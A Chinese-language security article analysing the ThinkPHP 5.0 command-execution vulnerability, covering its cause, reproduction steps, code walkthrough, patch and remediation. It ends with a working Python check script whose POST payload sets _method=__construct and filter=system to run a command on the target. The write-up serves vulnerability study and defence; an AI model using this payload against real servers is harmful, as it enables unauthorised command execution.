ThinkPHP 5.0命令執行漏洞分析及復現
ThinkPHP 5.0 版本是一個顛覆和重構版本,也是ThinkPHP 十周年獻禮版本,基於 PHP5.4 設計(完美支持 PHP7 ),採用全新的架構思想,引入了很多的 PHP 新特性,優化了核心,減少了依賴,支持Composer ,實現了真正的惰性載入,並且為 API 開發做了深入的支持,在功能、性能以及靈活性方面都較為突出 。
漏洞描述
ThinkPHP5.0在核心代碼中實現了表單請求類型偽裝的功能,該功能利用$_POST["_method"]
變數來傳遞真實的請求方法,當攻擊者設置$_POST["_method"]=__construct
時,Request類的method方法便會將該類的變數進行覆蓋,攻擊者利用該方式將filter變數覆蓋為system等函數名,當內部進行參數過濾時便會進行執行任意命令。
影響範圍
ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23
什麼是表單請求類型偽裝
<form method="post" action=""> <input type="text" name="name" value="Hello"> <input type="hidden" name="_method" value="PUT" > <input type="submit" value="提交"></form>
如上表單,可以在POST
表單裡面提交_method
變數,傳入需要偽裝的請求類型 ,該請求從客戶端看來是POST請求,而伺服器會將該請求識別PUT請求並進行處理,其中變數_method
可以在applicationconfig.php
文件中進行修改。
// 表單請求類型偽裝變數"var_method" => "_method",
該特性的作用:
安全防護 ,隱藏自己真實請求信息;
整合現有應用系統 ,例如現有的應用系統A的介面只接受put請求,而你的應用系統B只能發起post請求。
漏洞復現
環境
OS : windows7Webserver : phpstudy (apache + php5.6.27)thinkphp : 5.0.20
條件
// 開啟thinkphp的調試模式, 文件applicationconfig.php// 應用調試模式"app_debug" => true,
操作
cd D:phpStudyWWWgit clone https://github.com/top-think/think tp5git checkout v5.0.22cd tp5git clone https://github.com/top-think/framework thinkphpgit checkout v5.0.22
開啟thinkphp的debug模式
// 開啟thinkphp的調試模式, 文件applicationconfig.php// 應用調試模式"app_debug" => true,
開啟apache,發送payload:
漏洞分析
利用xdebug+phpstorm進行調試,配置方式請大家自行搜索。
thinkphp採用filter對請求參數進行過濾,默認的filter在config.php中為空字元串,thinkphp首先會設置默認的過濾函數:
filter被設置為空字元串,繼續跟蹤在路由檢查內部會對Request類的filter變數進行覆蓋,跟進routeCheck函數。
再上圖中調用$requesr->method()
關鍵方法,跟進:
可以發現該函數會獲取用戶傳入的_method=__construct
變數,並調用__construct
方法,跟進:
filter變數被設置成system
,繼續:
當debug模式開啟時,會記錄請求信息,會調用$request->param()
方法,跟進:
如上,根據filter變數設置過濾器,跟進:
過濾器變成了數組["system"]
,跟進array_walk_recursive
函數:
該函數內會對參數進行過濾,調用了call_user_func("system", "dir")
,完成了命令執行,結果如下:
接下來,thinkphp在執行模塊的過程中還會再一次設置默認filter,使得filter=""
,但是不會再次覆蓋filter為system,所以接下來的一次過濾並沒有能夠再次執行命令。
整個執行流程如下 :
官方補丁
官方補丁中限制了_method
可疑設置的請求方法,並在處理_method
之後將其unset,無法再利用__construct
進行變數覆蓋。
漏洞修復
升級到5.0.24及以上,不用開啟debug模式。
檢測腳本
# coding=utf-8import requestsdef check(ip, port, timeout=3): url = "http://{ip}:{port}/tp5/public/index.php".format(ip=ip, port=port) # url = "http://{ip}:{port}/index.php".format(ip=ip, port=port) data = { "_method":"__construct", "filter":"system", "a":"echo abcd", } headers = { "content-type" : "application/x-www-form-urlencoded", "user-agent" : "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" } resp = requests.post(url, data=data, headers=headers, timeout=timeout) if resp.content.find("abcd") != -1: return "thinkphp5.0 命令執行:" + urlif __name__ == "__main__": print check("127.0.0.1", "80")
總結
該漏洞主要是:
表單請求類型偽裝 + filter參數 = 覆蓋變數filter;
變數覆蓋filter + debug模式 + 執行filter = 命令執行。
*本文作者:小紈絝,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
※思路決定成敗:F12給了我黑色的眼睛我卻用它來挖洞
※TorPCAP:Tor網路取證分析技術
TAG:FreeBuf |